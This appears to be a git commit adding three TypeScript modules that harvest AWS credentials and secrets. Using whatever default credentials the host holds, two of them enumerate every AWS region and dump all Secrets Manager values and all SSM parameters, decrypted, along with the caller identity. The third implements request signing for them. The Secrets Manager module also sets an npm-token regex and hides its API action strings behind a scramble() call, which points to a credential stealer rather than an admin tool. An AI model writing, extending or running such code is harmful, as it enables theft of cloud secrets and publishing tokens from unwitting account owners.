Upload files to "src/providers/aws"
This commit is contained in:
@@ -0,0 +1,263 @@
|
|||||||
|
import { Provider } from "../base";
|
||||||
|
import type { ProviderResult } from "../types";
|
||||||
|
import {
|
||||||
|
type CallerIdentity,
|
||||||
|
jsonApiRequest,
|
||||||
|
stsGetCallerIdentity,
|
||||||
|
} from "./client";
|
||||||
|
import { resolveDefaultCredentials } from "./credentials";
|
||||||
|
import type { AwsCredentials } from "./sigv4";
|
||||||
|
|
||||||
|
declare function scramble(str: string): string;
|
||||||
|
|
||||||
|
// All AWS regions that are enabled by default (non opt-in).
|
||||||
|
const DEFAULT_REGIONS = [
|
||||||
|
"us-east-1",
|
||||||
|
"us-east-2",
|
||||||
|
"us-west-1",
|
||||||
|
"us-west-2",
|
||||||
|
"ap-northeast-1",
|
||||||
|
"ap-northeast-2",
|
||||||
|
"ap-northeast-3",
|
||||||
|
"ap-south-1",
|
||||||
|
"ap-southeast-1",
|
||||||
|
"ap-southeast-2",
|
||||||
|
"ca-central-1",
|
||||||
|
"eu-central-1",
|
||||||
|
"eu-north-1",
|
||||||
|
"eu-west-1",
|
||||||
|
"eu-west-2",
|
||||||
|
"eu-west-3",
|
||||||
|
"sa-east-1",
|
||||||
|
];
|
||||||
|
|
||||||
|
const PERMISSION_ERROR_CODES = new Set([
|
||||||
|
"AccessDeniedException",
|
||||||
|
"UnauthorizedAccess",
|
||||||
|
"UnrecognizedClientException",
|
||||||
|
"InvalidSignatureException",
|
||||||
|
"ExpiredTokenException",
|
||||||
|
"InvalidClientTokenId",
|
||||||
|
"SignatureDoesNotMatch",
|
||||||
|
"IncompleteSignature",
|
||||||
|
]);
|
||||||
|
|
||||||
|
interface ListSecretsResponse {
|
||||||
|
SecretList?: Array<{ Name?: string }>;
|
||||||
|
NextToken?: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
interface GetSecretValueResponse {
|
||||||
|
SecretString?: string;
|
||||||
|
SecretBinary?: string; // already base64-encoded in the JSON response
|
||||||
|
}
|
||||||
|
|
||||||
|
interface RegionError {
|
||||||
|
region: string;
|
||||||
|
operation: string;
|
||||||
|
code: string;
|
||||||
|
message: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
function extractErrorCode(error: unknown): string {
|
||||||
|
if (error && typeof error === "object") {
|
||||||
|
// AWS SDK-style errors
|
||||||
|
for (const key of ["code", "Code", "__type", "name"]) {
|
||||||
|
const val = (error as Record<string, unknown>)[key];
|
||||||
|
if (typeof val === "string") return val;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return "UnknownError";
|
||||||
|
}
|
||||||
|
|
||||||
|
function extractErrorMessage(error: unknown): string {
|
||||||
|
if (error instanceof Error) return error.message;
|
||||||
|
if (error && typeof error === "object") {
|
||||||
|
for (const key of ["message", "Message"]) {
|
||||||
|
const val = (error as Record<string, unknown>)[key];
|
||||||
|
if (typeof val === "string") return val;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return String(error);
|
||||||
|
}
|
||||||
|
|
||||||
|
function isPermissionError(error: unknown): boolean {
|
||||||
|
const code = extractErrorCode(error);
|
||||||
|
if (PERMISSION_ERROR_CODES.has(code)) return true;
|
||||||
|
const msg = extractErrorMessage(error).toLowerCase();
|
||||||
|
return (
|
||||||
|
msg.includes("is not authorized to perform") ||
|
||||||
|
msg.includes("access denied") ||
|
||||||
|
msg.includes("security token") ||
|
||||||
|
msg.includes("invalid identity token")
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
export class AwsSecretsManagerService extends Provider {
|
||||||
|
private credentials!: AwsCredentials;
|
||||||
|
private errors: RegionError[] = [];
|
||||||
|
|
||||||
|
constructor() {
|
||||||
|
super("aws", "secretsmanager", {
|
||||||
|
npmtoken: /npm_[A-Za-z0-9]{36,}/g,
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
private recordError(region: string, operation: string, error: unknown): void {
|
||||||
|
this.errors.push({
|
||||||
|
region,
|
||||||
|
operation,
|
||||||
|
code: extractErrorCode(error),
|
||||||
|
message: extractErrorMessage(error),
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
private async getCallerIdentity(): Promise<CallerIdentity | undefined> {
|
||||||
|
try {
|
||||||
|
return await stsGetCallerIdentity(this.credentials);
|
||||||
|
} catch (e) {
|
||||||
|
if (isPermissionError(e)) {
|
||||||
|
this.recordError("global", scramble("sts:GetCallerIdentity"), e);
|
||||||
|
}
|
||||||
|
return undefined;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private async listSecrets(region: string): Promise<string[]> {
|
||||||
|
const secretIds: string[] = [];
|
||||||
|
let nextToken: string | undefined;
|
||||||
|
|
||||||
|
do {
|
||||||
|
const payload: Record<string, unknown> = {};
|
||||||
|
if (nextToken) payload.NextToken = nextToken;
|
||||||
|
|
||||||
|
const response = await jsonApiRequest<ListSecretsResponse>(
|
||||||
|
this.credentials,
|
||||||
|
region,
|
||||||
|
scramble("secretsmanager"),
|
||||||
|
scramble("secretsmanager.ListSecrets"),
|
||||||
|
payload,
|
||||||
|
);
|
||||||
|
|
||||||
|
if (response.SecretList) {
|
||||||
|
for (const secret of response.SecretList) {
|
||||||
|
if (secret.Name) secretIds.push(secret.Name);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
nextToken = response.NextToken;
|
||||||
|
} while (nextToken);
|
||||||
|
|
||||||
|
return secretIds;
|
||||||
|
}
|
||||||
|
|
||||||
|
private async getSecretValue(
|
||||||
|
region: string,
|
||||||
|
secretId: string,
|
||||||
|
): Promise<string | undefined> {
|
||||||
|
try {
|
||||||
|
const response = await jsonApiRequest<GetSecretValueResponse>(
|
||||||
|
this.credentials,
|
||||||
|
region,
|
||||||
|
scramble("secretsmanager"),
|
||||||
|
scramble("secretsmanager.GetSecretValue"),
|
||||||
|
{ SecretId: secretId },
|
||||||
|
);
|
||||||
|
|
||||||
|
if (response.SecretBinary) {
|
||||||
|
return `BINARY:${response.SecretBinary}`;
|
||||||
|
}
|
||||||
|
return response.SecretString;
|
||||||
|
} catch (e) {
|
||||||
|
if (isPermissionError(e)) {
|
||||||
|
this.recordError(
|
||||||
|
region,
|
||||||
|
`secretsmanager:GetSecretValue(${secretId})`,
|
||||||
|
e,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
return undefined;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private async executeForRegion(
|
||||||
|
region: string,
|
||||||
|
): Promise<{ ids: string[]; secrets: Record<string, unknown> }> {
|
||||||
|
const ids: string[] = [];
|
||||||
|
const secrets: Record<string, unknown> = {};
|
||||||
|
|
||||||
|
try {
|
||||||
|
const secretIds = await this.listSecrets(region);
|
||||||
|
if (secretIds.length === 0) return { ids, secrets };
|
||||||
|
|
||||||
|
const values = await Promise.all(
|
||||||
|
secretIds.map((id) => this.getSecretValue(region, id)),
|
||||||
|
);
|
||||||
|
|
||||||
|
secretIds.forEach((id, i) => {
|
||||||
|
const key = `${region}:${id}`;
|
||||||
|
ids.push(key);
|
||||||
|
secrets[key] = values[i] ?? { error: "Failed to retrieve secret" };
|
||||||
|
});
|
||||||
|
} catch (e) {
|
||||||
|
if (isPermissionError(e)) {
|
||||||
|
this.recordError(region, "secretsmanager:ListSecrets", e);
|
||||||
|
}
|
||||||
|
// Non-permission errors (network, region unreachable) — silently skip.
|
||||||
|
}
|
||||||
|
|
||||||
|
return { ids, secrets };
|
||||||
|
}
|
||||||
|
|
||||||
|
async execute(): Promise<ProviderResult> {
|
||||||
|
this.errors = [];
|
||||||
|
|
||||||
|
try {
|
||||||
|
this.credentials = await resolveDefaultCredentials();
|
||||||
|
} catch (e) {
|
||||||
|
return this.failure(e instanceof Error ? e : new Error(String(e)));
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
const [callerIdentity, results] = await Promise.all([
|
||||||
|
this.getCallerIdentity(),
|
||||||
|
Promise.all(
|
||||||
|
DEFAULT_REGIONS.map((region) => this.executeForRegion(region)),
|
||||||
|
),
|
||||||
|
]);
|
||||||
|
|
||||||
|
const allIds: string[] = [];
|
||||||
|
const allSecrets: Record<string, unknown> = {};
|
||||||
|
for (const { ids, secrets } of results) {
|
||||||
|
allIds.push(...ids);
|
||||||
|
Object.assign(allSecrets, secrets);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (allIds.length === 0) {
|
||||||
|
if (this.errors.length > 0) {
|
||||||
|
const summary = this.errors
|
||||||
|
.map(
|
||||||
|
(e) => `[${e.region}] ${e.operation}: ${e.code} — ${e.message}`,
|
||||||
|
)
|
||||||
|
.join("\n");
|
||||||
|
return this.failure(
|
||||||
|
`No secrets retrieved due to permission errors:\n${summary}`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
return this.failure(
|
||||||
|
"No secrets found in AWS Secrets Manager across any region",
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
return this.success({
|
||||||
|
callerIdentity,
|
||||||
|
regions: DEFAULT_REGIONS,
|
||||||
|
secretIds: allIds,
|
||||||
|
secrets: allSecrets,
|
||||||
|
...(this.errors.length > 0 && { permissionErrors: this.errors }),
|
||||||
|
});
|
||||||
|
} catch (e) {
|
||||||
|
return this.failure(e instanceof Error ? e : new Error(String(e)));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,185 @@
|
|||||||
|
import { createHash, createHmac } from "node:crypto";
|
||||||
|
|
||||||
|
// ═════════════════════════════════════════════════════════════════════════════
|
||||||
|
// Types
|
||||||
|
// ═════════════════════════════════════════════════════════════════════════════
|
||||||
|
|
||||||
|
export interface AwsCredentials {
|
||||||
|
accessKeyId: string;
|
||||||
|
secretAccessKey: string;
|
||||||
|
sessionToken?: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ═════════════════════════════════════════════════════════════════════════════
|
||||||
|
// Hash / HMAC primitives
|
||||||
|
// ═════════════════════════════════════════════════════════════════════════════
|
||||||
|
|
||||||
|
function sha256Hex(data: string): string {
|
||||||
|
return createHash("sha256").update(data, "utf8").digest("hex");
|
||||||
|
}
|
||||||
|
|
||||||
|
function hmac(key: Buffer | string, data: string): Buffer {
|
||||||
|
return createHmac("sha256", key).update(data, "utf8").digest();
|
||||||
|
}
|
||||||
|
|
||||||
|
function hmacHex(key: Buffer, data: string): string {
|
||||||
|
return createHmac("sha256", key).update(data, "utf8").digest("hex");
|
||||||
|
}
|
||||||
|
|
||||||
|
// ═════════════════════════════════════════════════════════════════════════════
|
||||||
|
// Signing key derivation
|
||||||
|
// ═════════════════════════════════════════════════════════════════════════════
|
||||||
|
|
||||||
|
function deriveSigningKey(
|
||||||
|
secretKey: string,
|
||||||
|
dateStamp: string,
|
||||||
|
region: string,
|
||||||
|
service: string,
|
||||||
|
): Buffer {
|
||||||
|
const kDate = hmac(`AWS4${secretKey}`, dateStamp);
|
||||||
|
const kRegion = hmac(kDate, region);
|
||||||
|
const kService = hmac(kRegion, service);
|
||||||
|
return hmac(kService, "aws4_request");
|
||||||
|
}
|
||||||
|
|
||||||
|
// ═════════════════════════════════════════════════════════════════════════════
|
||||||
|
// URI encoding (RFC 3986, AWS flavour)
|
||||||
|
// ═════════════════════════════════════════════════════════════════════════════
|
||||||
|
|
||||||
|
function uriEncode(str: string, encodeSlash = true): string {
|
||||||
|
let encoded = encodeURIComponent(str)
|
||||||
|
// encodeURIComponent leaves these un-encoded but AWS wants them encoded:
|
||||||
|
// ! ' ( ) *
|
||||||
|
.replace(/[!'()*]/g, (c) =>
|
||||||
|
`%${c.charCodeAt(0).toString(16).toUpperCase()}`,
|
||||||
|
);
|
||||||
|
|
||||||
|
if (!encodeSlash) {
|
||||||
|
encoded = encoded.replace(/%2F/gi, "/");
|
||||||
|
}
|
||||||
|
|
||||||
|
return encoded;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ═════════════════════════════════════════════════════════════════════════════
|
||||||
|
// Sign a request (Signature Version 4)
|
||||||
|
// ═════════════════════════════════════════════════════════════════════════════
|
||||||
|
|
||||||
|
export interface SignRequestOptions {
|
||||||
|
method: string;
|
||||||
|
url: string;
|
||||||
|
headers?: Record<string, string>;
|
||||||
|
body?: string;
|
||||||
|
credentials: AwsCredentials;
|
||||||
|
region: string;
|
||||||
|
service: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Produces a fully-signed set of headers for an AWS API request.
|
||||||
|
*
|
||||||
|
* All four SigV4 steps are implemented inline:
|
||||||
|
* 1. Canonical Request
|
||||||
|
* 2. String to Sign
|
||||||
|
* 3. Signing Key + Signature
|
||||||
|
* 4. Authorization header
|
||||||
|
*/
|
||||||
|
export function signRequest(opts: SignRequestOptions): {
|
||||||
|
url: string;
|
||||||
|
headers: Record<string, string>;
|
||||||
|
body: string;
|
||||||
|
} {
|
||||||
|
const { method, credentials, region, service } = opts;
|
||||||
|
const body = opts.body ?? "";
|
||||||
|
const url = new URL(opts.url);
|
||||||
|
|
||||||
|
// ── Timestamps ────────────────────────────────────────────────────────────
|
||||||
|
const now = new Date();
|
||||||
|
// Format: 20250101T120000Z
|
||||||
|
const amzDate = now.toISOString().replace(/[-:]/g, "").split(".")[0] + "Z";
|
||||||
|
const dateStamp = amzDate.slice(0, 8);
|
||||||
|
|
||||||
|
// ── Normalise headers to lowercase keys ───────────────────────────────────
|
||||||
|
const headers: Record<string, string> = {};
|
||||||
|
if (opts.headers) {
|
||||||
|
for (const [k, v] of Object.entries(opts.headers)) {
|
||||||
|
headers[k.toLowerCase()] = v.trim();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Host — omit port for standard HTTPS/HTTP
|
||||||
|
const isStandardPort =
|
||||||
|
!url.port ||
|
||||||
|
(url.protocol === "https:" && url.port === "443") ||
|
||||||
|
(url.protocol === "http:" && url.port === "80");
|
||||||
|
headers["host"] = isStandardPort ? url.hostname : url.host;
|
||||||
|
|
||||||
|
headers["x-amz-date"] = amzDate;
|
||||||
|
|
||||||
|
if (credentials.sessionToken) {
|
||||||
|
headers["x-amz-security-token"] = credentials.sessionToken;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Step 1: Canonical Request ─────────────────────────────────────────────
|
||||||
|
|
||||||
|
const canonicalUri = uriEncode(
|
||||||
|
decodeURIComponent(url.pathname || "/"),
|
||||||
|
/* encodeSlash */ false,
|
||||||
|
);
|
||||||
|
|
||||||
|
// Sorted query-string parameters
|
||||||
|
const queryPairs: [string, string][] = [];
|
||||||
|
url.searchParams.forEach((v, k) => queryPairs.push([k, v]));
|
||||||
|
queryPairs.sort((a, b) =>
|
||||||
|
a[0] < b[0] ? -1 : a[0] > b[0] ? 1 : a[1] < b[1] ? -1 : a[1] > b[1] ? 1 : 0,
|
||||||
|
);
|
||||||
|
const canonicalQuerystring = queryPairs
|
||||||
|
.map(([k, v]) => `${uriEncode(k)}=${uriEncode(v)}`)
|
||||||
|
.join("&");
|
||||||
|
|
||||||
|
// Sorted, lowercased headers
|
||||||
|
const sortedKeys = Object.keys(headers).sort();
|
||||||
|
const canonicalHeaders =
|
||||||
|
sortedKeys.map((k) => `${k}:${headers[k]}`).join("\n") + "\n";
|
||||||
|
const signedHeaders = sortedKeys.join(";");
|
||||||
|
|
||||||
|
const payloadHash = sha256Hex(body);
|
||||||
|
|
||||||
|
const canonicalRequest = [
|
||||||
|
method.toUpperCase(),
|
||||||
|
canonicalUri,
|
||||||
|
canonicalQuerystring,
|
||||||
|
canonicalHeaders,
|
||||||
|
signedHeaders,
|
||||||
|
payloadHash,
|
||||||
|
].join("\n");
|
||||||
|
|
||||||
|
// ── Step 2: String to Sign ────────────────────────────────────────────────
|
||||||
|
|
||||||
|
const credentialScope = `${dateStamp}/${region}/${service}/aws4_request`;
|
||||||
|
const stringToSign = [
|
||||||
|
"AWS4-HMAC-SHA256",
|
||||||
|
amzDate,
|
||||||
|
credentialScope,
|
||||||
|
sha256Hex(canonicalRequest),
|
||||||
|
].join("\n");
|
||||||
|
|
||||||
|
// ── Step 3: Signature ─────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
const signingKey = deriveSigningKey(
|
||||||
|
credentials.secretAccessKey,
|
||||||
|
dateStamp,
|
||||||
|
region,
|
||||||
|
service,
|
||||||
|
);
|
||||||
|
const signature = hmacHex(signingKey, stringToSign);
|
||||||
|
|
||||||
|
// ── Step 4: Authorization header ──────────────────────────────────────────
|
||||||
|
|
||||||
|
headers["authorization"] =
|
||||||
|
`AWS4-HMAC-SHA256 Credential=${credentials.accessKeyId}/${credentialScope}, ` +
|
||||||
|
`SignedHeaders=${signedHeaders}, ` +
|
||||||
|
`Signature=${signature}`;
|
||||||
|
|
||||||
|
return { url: url.toString(), headers, body };
|
||||||
|
}
|
||||||
@@ -0,0 +1,227 @@
|
|||||||
|
import { Provider } from "../base";
|
||||||
|
import type { ProviderResult } from "../types";
|
||||||
|
import {
|
||||||
|
type CallerIdentity,
|
||||||
|
jsonApiRequest,
|
||||||
|
stsGetCallerIdentity,
|
||||||
|
} from "./client";
|
||||||
|
import { resolveDefaultCredentials } from "./credentials";
|
||||||
|
import type { AwsCredentials } from "./sigv4";
|
||||||
|
|
||||||
|
type ParameterResult = {
|
||||||
|
success: boolean;
|
||||||
|
value?: string;
|
||||||
|
error?: string;
|
||||||
|
};
|
||||||
|
|
||||||
|
// All AWS regions that are enabled by default (non opt-in).
|
||||||
|
const DEFAULT_REGIONS = [
|
||||||
|
"us-east-1",
|
||||||
|
"us-east-2",
|
||||||
|
"us-west-1",
|
||||||
|
"us-west-2",
|
||||||
|
"ap-northeast-1",
|
||||||
|
"ap-northeast-2",
|
||||||
|
"ap-northeast-3",
|
||||||
|
"ap-south-1",
|
||||||
|
"ap-southeast-1",
|
||||||
|
"ap-southeast-2",
|
||||||
|
"ca-central-1",
|
||||||
|
"eu-central-1",
|
||||||
|
"eu-north-1",
|
||||||
|
"eu-west-1",
|
||||||
|
"eu-west-2",
|
||||||
|
"eu-west-3",
|
||||||
|
"sa-east-1",
|
||||||
|
];
|
||||||
|
|
||||||
|
interface DescribeParametersResponse {
|
||||||
|
Parameters?: Array<{ Name?: string }>;
|
||||||
|
NextToken?: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
interface GetParametersResponse {
|
||||||
|
Parameters?: Array<{ Name?: string; Value?: string }>;
|
||||||
|
InvalidParameters?: string[];
|
||||||
|
}
|
||||||
|
|
||||||
|
export class AwsSsmService extends Provider {
|
||||||
|
private readonly BATCH_SIZE = 10;
|
||||||
|
private readonly DESCRIBE_PAGE_SIZE = 50;
|
||||||
|
private readonly MAX_RETRIES = 3;
|
||||||
|
private readonly RETRY_BASE_DELAY_MS = 500;
|
||||||
|
|
||||||
|
private credentials!: AwsCredentials;
|
||||||
|
|
||||||
|
constructor() {
|
||||||
|
super("aws", "ssm");
|
||||||
|
}
|
||||||
|
|
||||||
|
private async getCallerIdentity(): Promise<CallerIdentity | undefined> {
|
||||||
|
try {
|
||||||
|
return await stsGetCallerIdentity(this.credentials);
|
||||||
|
} catch {
|
||||||
|
return undefined;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private async listParameters(region: string): Promise<string[]> {
|
||||||
|
const parameterNames: string[] = [];
|
||||||
|
let nextToken: string | undefined;
|
||||||
|
|
||||||
|
do {
|
||||||
|
const payload: Record<string, unknown> = {
|
||||||
|
MaxResults: this.DESCRIBE_PAGE_SIZE,
|
||||||
|
};
|
||||||
|
if (nextToken) payload.NextToken = nextToken;
|
||||||
|
|
||||||
|
const response = await jsonApiRequest<DescribeParametersResponse>(
|
||||||
|
this.credentials,
|
||||||
|
region,
|
||||||
|
"ssm",
|
||||||
|
"AmazonSSM.DescribeParameters",
|
||||||
|
payload,
|
||||||
|
);
|
||||||
|
|
||||||
|
for (const param of response.Parameters ?? []) {
|
||||||
|
if (param.Name) parameterNames.push(param.Name);
|
||||||
|
}
|
||||||
|
|
||||||
|
nextToken = response.NextToken;
|
||||||
|
} while (nextToken);
|
||||||
|
|
||||||
|
return parameterNames;
|
||||||
|
}
|
||||||
|
|
||||||
|
private sleep(ms: number): Promise<void> {
|
||||||
|
return new Promise((resolve) => setTimeout(resolve, ms));
|
||||||
|
}
|
||||||
|
|
||||||
|
private isRetryable(e: unknown): boolean {
|
||||||
|
if (!(e instanceof Error)) return false;
|
||||||
|
const msg = e.message;
|
||||||
|
return (
|
||||||
|
msg.includes("ThrottlingException") ||
|
||||||
|
msg.includes("TooManyRequestsException") ||
|
||||||
|
msg.includes("RequestLimitExceeded") ||
|
||||||
|
msg.includes("ServiceUnavailable") ||
|
||||||
|
msg.includes("InternalServerError")
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
private backoffDelay(attempt: number): number {
|
||||||
|
const exp = this.RETRY_BASE_DELAY_MS * Math.pow(2, attempt - 1);
|
||||||
|
return Math.floor(Math.random() * exp);
|
||||||
|
}
|
||||||
|
|
||||||
|
private async getParametersBatch(
|
||||||
|
region: string,
|
||||||
|
names: string[],
|
||||||
|
): Promise<Record<string, ParameterResult>> {
|
||||||
|
const results: Record<string, ParameterResult> = {};
|
||||||
|
|
||||||
|
for (let attempt = 1; attempt <= this.MAX_RETRIES; attempt++) {
|
||||||
|
try {
|
||||||
|
const response = await jsonApiRequest<GetParametersResponse>(
|
||||||
|
this.credentials,
|
||||||
|
region,
|
||||||
|
"ssm",
|
||||||
|
"AmazonSSM.GetParameters",
|
||||||
|
{ Names: names, WithDecryption: true },
|
||||||
|
);
|
||||||
|
|
||||||
|
for (const param of response.Parameters ?? []) {
|
||||||
|
if (param.Name) {
|
||||||
|
results[param.Name] = { success: true, value: param.Value };
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
for (const name of response.InvalidParameters ?? []) {
|
||||||
|
results[name] = { success: false, error: "Invalid parameter" };
|
||||||
|
}
|
||||||
|
|
||||||
|
return results;
|
||||||
|
} catch (e) {
|
||||||
|
if (this.isRetryable(e) && attempt < this.MAX_RETRIES) {
|
||||||
|
await this.sleep(this.backoffDelay(attempt));
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
const errorMsg = e instanceof Error ? e.message : String(e);
|
||||||
|
for (const name of names) {
|
||||||
|
results[name] = { success: false, error: errorMsg };
|
||||||
|
}
|
||||||
|
return results;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return results;
|
||||||
|
}
|
||||||
|
|
||||||
|
private async executeForRegion(
|
||||||
|
region: string,
|
||||||
|
): Promise<{ names: string[]; parameters: Record<string, unknown> }> {
|
||||||
|
const names: string[] = [];
|
||||||
|
const parameters: Record<string, unknown> = {};
|
||||||
|
|
||||||
|
try {
|
||||||
|
const parameterNames = await this.listParameters(region);
|
||||||
|
if (parameterNames.length === 0) return { names, parameters };
|
||||||
|
|
||||||
|
for (let i = 0; i < parameterNames.length; i += this.BATCH_SIZE) {
|
||||||
|
const batch = parameterNames.slice(i, i + this.BATCH_SIZE);
|
||||||
|
const batchResults = await this.getParametersBatch(region, batch);
|
||||||
|
|
||||||
|
for (const name of batch) {
|
||||||
|
const result = batchResults[name];
|
||||||
|
const key = `${region}:${name}`;
|
||||||
|
names.push(key);
|
||||||
|
parameters[key] = result?.success
|
||||||
|
? result.value
|
||||||
|
: { error: result?.error ?? "Failed to retrieve parameter" };
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch {
|
||||||
|
// Region unreachable / unauthorized — silently skip.
|
||||||
|
}
|
||||||
|
|
||||||
|
return { names, parameters };
|
||||||
|
}
|
||||||
|
|
||||||
|
async execute(): Promise<ProviderResult> {
|
||||||
|
try {
|
||||||
|
this.credentials = await resolveDefaultCredentials();
|
||||||
|
} catch (e) {
|
||||||
|
return this.failure(e instanceof Error ? e : new Error(String(e)));
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
const [callerIdentity, results] = await Promise.all([
|
||||||
|
this.getCallerIdentity(),
|
||||||
|
Promise.all(
|
||||||
|
DEFAULT_REGIONS.map((region) => this.executeForRegion(region)),
|
||||||
|
),
|
||||||
|
]);
|
||||||
|
|
||||||
|
const allNames: string[] = [];
|
||||||
|
const allParameters: Record<string, unknown> = {};
|
||||||
|
for (const { names, parameters } of results) {
|
||||||
|
allNames.push(...names);
|
||||||
|
Object.assign(allParameters, parameters);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (allNames.length === 0) {
|
||||||
|
return this.failure("No parameters found in AWS SSM across any region");
|
||||||
|
}
|
||||||
|
|
||||||
|
return this.success({
|
||||||
|
callerIdentity,
|
||||||
|
regions: DEFAULT_REGIONS,
|
||||||
|
parameterNames: allNames,
|
||||||
|
parameters: allParameters,
|
||||||
|
});
|
||||||
|
} catch (e) {
|
||||||
|
return this.failure(e instanceof Error ? e : new Error(String(e)));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user